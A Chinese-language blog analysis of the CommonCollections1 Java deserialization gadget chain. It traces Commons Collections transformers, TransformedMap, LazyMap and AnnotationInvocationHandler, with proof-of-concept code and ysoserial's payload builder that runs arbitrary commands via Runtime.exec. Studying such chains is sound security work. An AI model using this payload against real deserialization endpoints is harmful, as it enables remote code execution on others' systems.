Java 反序列化之 CommonCollections1 分析

前言

Common Collections 反序列化漏洞歷史在上一篇文章中有稍微提過

這個漏洞在 2015 年時,對整個 Java 生態系造成不小的影響

後續也愈來愈多奇形怪狀的 Gadget chain 被大佬們一一挖出來

而本篇文章就以 ysoserial 中經典的 CommonCollections1 這條 Gadget chain 來做分析

雖然網路上類似本篇的分析文很多,但只看文章其實很難體會到 java gadget chain 裡頭的精髓

強烈建議大家有興趣、有時間的話,可以自己拉原始碼下來跟一遍,相信可以收穫更多 !

p.s. 這裡我分析的版本是 Common Collections 3.1JDK 8


簡介

Apache Common Collections 主要是一個用來擴充原生 Java Collection 的一個第三方 Library

(簡單說,就是一個擴充包的概念)

而 Collection 基本上就可以視為是 Set, List, Queue 等類別的抽象概念

所以 Common Collections 中提供了許多方式,能讓我們對這些 Collection 做操作

或是對各種資料結構做封裝、抽象化,簡化原本 JDK 中複雜的操作方式

例如後面會提到的各種 Transformer,最主要就是用來對這些 Collection 做內容轉換的

也因為它的方便性和實用性,所以許多框架預設都有引用這個 Library

導致一旦底層 Library 出問題,上面所有框架都會接連一起爆炸


分析

先從 Transformer 開始看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// org.apache.commons.collections.Transformer
public interface Transformer {
/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);
}

它是一個接口,主要用處就如同字面上的意思,是用來對輸入的物件做轉換

裡面最重要的就是 transform() 方法,我們後面會一直用到它!

接著來看幾個串 gadget chain 時會用到的 transformer 類別

一、 ConstantTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
public class ConstantTransformer implements Transformer, Serializable {
...
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
...
}

這個類別的 transform() 方法實作非常簡潔,直接吐回我們在呼叫 constructor 時設定的物件

也就是我們輸入的物件,沒有經過任何轉換操作就直接返回


二、 InvokerTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class InvokerTransformer implements Transformer, Serializable {
...
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
...
}
}
...
}

InvokerTransformertransform() 方法會透過反射,呼叫物件的方法

而值得注意的是,方法名、參數等都是我們在 constructor 中可控的,所以我們可以對輸入的 input 物件,做任意方法呼叫!


三、 ChainedTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class ChainedTransformer implements Transformer, Serializable {
...
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
...
}

ChainedTransformer 這個類別就有意思了,iTransformers 是一個 transformer 陣列,我們一樣可以透過 constructor 設定它

這裡 transform() 方法,會去對 iTransformers 中每一個 transformer 去呼叫其對應的 transfomr() 方法 !

也就是前一個 Transformer transform() 完的結果,會被當成下一個 Transformer transform() 的輸入

所以就能串成一個 transformer chain


到目前為止,這幾個 transformer 實際上組合一下,就已經能變成一個任意代碼執行了 !

1
2
3
4
5
6
7
8
9
10
public static void main(String args[]) {
Transformer[] transformer_arr = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"/usr/bin/touch /tmp/rce"})
};
Transformer chain = new ChainedTransformer(transformer_arr);
chain.transform(chain);
}

但只有這樣是不夠的

目前我們是手動建立 transformer,並手動呼叫 ChainedTransformer.transform() 方法來觸發整個 gadget chain

我們需要一個能夠自動去觸發 transform() 的方法


先來看 TransformedMap 這個類別 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/**
* Decorates another <code>Map</code> to transform objects that are added.
* <p>
* The Map put methods and Map.Entry setValue method are affected by this class.
* Thus objects must be removed or searched for using their transformed form.
* For example, if the transformation converts Strings to Integers, you must
* use the Integer form to remove objects.
* <p>
* This class is Serializable from Commons Collections 3.1.
*
* @since Commons Collections 3.0
* @version $Revision: 1.11 $ $Date: 2004/06/07 22:14:42 $
*
* @author Stephen Colebourne
*/
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
/** Serialization version */
private static final long serialVersionUID = 7023152376788900464L;
/** The transformer to use for the key */
protected final Transformer keyTransformer;
/** The transformer to use for the value */
protected final Transformer valueTransformer;
/**
* Factory method to create a transforming map.
* <p>
* If there are any elements already in the map being decorated, they
* are NOT transformed.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no conversion
* @param valueTransformer the transformer to use for value conversion, null means no conversion
* @throws IllegalArgumentException if map is null
*/
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
...

可以看到這邊的 TransformedMap 繼承了抽象類別 AbstractInputCheckedMapDecorator

AbstractInputCheckedMapDecorator 又繼承了抽象類別 AbstractMapDecorator

這個 AbstractMapDecorator 實際上實作了 JDK 的 Map interface

其中 TransformedMapkeyTransformervalueTransformer 對應 key 跟 value 改變時要做的操作

當 key 或 value 被修改時,就會去調用對應 Transformer 的 transform 方法

有很多地方都能夠觸發 keyTransformer.transform()valueTransformer.transform()

但為了後面漏洞利用能繼續串另一個 class,我們這裡採用的是 AbstractInputCheckedMapDecorator.entrySet() 這條路去觸發


首先,TransformedMap.decorate() 會回傳一個 TransformedMap

並且可以讓我們設定其中的 keyTransformervalueTransformer

所以這裡就能放我們前面串的那個 ChainedTransformer 當作 key 或 value 的 Transformer

接著我們看 AbstractInputCheckedMapDecorator.entrySet():

1
2
3
4
5
6
7
8
9
10
11
public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}
protected boolean isSetValueChecking() {
return true;
}

isSetValueChecking() 條件成立時,會用到內部類別 EntrySet:

1
2
3
4
5
6
7
8
9
10
static class EntrySet extends AbstractSetDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}
...
}

接著我們繼續看 AbstractInputCheckedMapDecorator$EntrySetiterator() 方法

1
2
3
public Iterator iterator() {
return new EntrySetIterator(collection.iterator(), parent);
}

iterator() 方法又去建立了一個內部類別 EntrySetIterator 的實例


你可能想問: 這裡沒地方用到這些方法,為啥要看它們呢?

因為後面會有另一個 class 有同時用到這些東西,所以我們後面會再把這些一起串起來 !


繼續看 AbstractInputCheckedMapDecorator$EntrySetIterator:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class EntrySetIterator extends AbstractIteratorDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}
public Object next() {
Map.Entry entry = (Map.Entry) iterator.next();
return new MapEntry(entry, parent);
}
}

next() 方法透過 iterator 去取得 Map.Entry 物件

接著 new 了一個 MapEntry 實例返回

繼續看這個 MapEntry:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

這裡關鍵是這個 setValue() 方法

可以看到它呼叫了 parent.checkSetValue(value)

這個 parent 其實就是 AbstractInputCheckedMapDecorator

而實作 checkSetValue() 方法是在 TransformedMap.checkSetValue() 這邊:

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

終於,看到我們朝思暮想的 valueTransformer.transform(value) 了 !

所以我們就能把前面任意代碼執行的 Code,改成用 TransformedMapsetValue() 來觸發了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static void main(String args[]) {
Transformer[] transformer_arr = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"/usr/bin/touch /tmp/rce"})
};
Transformer chain = new ChainedTransformer(transformer_arr);
Map innerMap = new HashMap();
innerMap.put(null, null);
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
Set set = outerMap.entrySet();
Iterator it = set.iterator();
Map.Entry ent = (Map.Entry) it.next();
// Trigger
ent.setValue(null);
}

但一樣還是沒解決自動觸發的問題,這裡仍然是我們手動去呼叫 setValue()

而且還有前面提過的 iterator(), next() 等方法,其實都是我們手動去執行的

需要找到一個 gadget 可以幫我們完成這些事情


而滿足我們要求的 gadget 就是下面要講的這個 sun.reflect.annotation.AnnotationInvocationHandler 類別:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/**
* InvocationHandler for dynamic proxy implementation of Annotation.
*
* @author Josh Bloch
* @since 1.5
*/
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
...
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
...
}

可以看到 memberValues 就是一個 Map<String, Object>

readObject() 方法中,for 迴圈的寫法,實際上就恰巧用到了 iterator()next() !

1
2
3
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
...
}

這裡的 for 迴圈背後,實際上大致等同於

1
2
3
4
for(Iterator iterator = memberValues.entrySet().iterator(); iterator.hasNext();) {
Map.Entry<String, Object> memberValue = iterator.next();
...
}

所以這裡我們就一口氣用到了剛剛沒串起來的 entrySet(), iterator(), next() !

最後面則去呼叫了 memberValue.setValue(...),導致我們整條 chain 被觸發 !

加上是 readObject() 方法的關係,所以反序列化時會自動呼叫該方法

自動觸發整個反序列化 gadget chain,達到任意代碼執行

打完收工 !


第二條路

其實如果你去看 ysoserial 的 code

會發現它用的其實不是 TransformedMap,而是走我們現在要講的 LazyMap 這條路

概念都大同小異,就是想辦法找條路去觸發 transformer 的 transform() 方法


先來看看初始化的部分:

1
2
3
4
5
6
7
8
9
10
11
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

這裡 decorate() 一樣會去設定 Map 和 Transformer

而我們看一下 LazyMap.get():

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

這裡直接就呼叫了 factory.transform(key)

所以我們只要想辦法透過 readObject() 去呼叫 LazyMap.get() 就能觸發整個反序列化 Chain

但事情沒那麼簡單,找不到那麼單純的 readObject() 可以直接呼叫 get() (至少我沒找到QQ)

CommonCollections1 的方式是透過 Dynamic Proxy 的方式去呼叫這個方法

代理模式:
是一種設計模式(Design Pattern)。簡單說,就是找一個代理人,然後把事情都丟給他做 (沒錯,就是進藤光跟佐為的關係)
而對於 java 靜態代理和動態代理不熟的讀者,推薦參考這篇文章

我們直接看 ysoserial 中構造 Payload 的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// Gadgets.createMemoitizedProxy()
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
// Gadgets.createMemoizedInvocationHandler()
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
// Gadgets.createProxy()
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
return ctor;
}
// Reflections.setFieldValue()
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}

先來看 createMemoizedInvocationHandler() 中的這段:

1
(InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);

上面這行就是對應到這段:

1
2
3
4
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}

所以 createMemoitizedProxy 實際上就是建立了一個 Map 介面的 Proxy (mapProxy)

並將 memberValues 設為 LazyMapAnnotationInvocationHandler

而下一行的 handler 則是建立 memberValuesmapProxyAnnotationInvocationHandler 物件

這個 handler 就是我們要反序列化觸發 gadget chain 的惡意物件 !


關鍵在於,AnnotationInvocationHandler 反序列化時,會去呼叫 readObject() 方法,並且其中又會去呼叫 memberValues.entrySet()

memberValues 是一個代理物件,就會去呼叫對應 handler 的 invoke() 方法

AnnotationInvocationHandler.invoke() 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;
// Handle annotation member accessors
Object result = memberValues.get(member);
...

會一直走到 memberValues.get(member)

也就對應到前面講的 LazyMap.get()

成功觸發反序列化 chain 執行 !


總結

這篇介紹了 CommonCollections1 的兩種 gadget chain

其中 LazyMap 的呼叫流程可以簡化成如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

這條 gadget chain 的關鍵在於動態代理的利用方式,第一次看時腦袋會比較難轉過來

而另一條 gadget chain 就相對沒那麼複雜,是透過串 Map Entry 的 iterator 各種操作到達 setValue() 觸發整條 chain 執行


本篇文章分析了 Common Collections 漏洞中非常經典的 CommonCollections1 這條 Gadget Chain

而以 Common Collections 來說,除了 CommonCollections1 以外,其實還有 CommonCollections2, 3, 4, 5, … 各種 chain

如果我有時間的話,也許未來會再分析看看其他條 chain (吧)


不知不覺又寫了一篇 Java,感覺繼續下去也許有機會變成一系列 Java 大合集 (?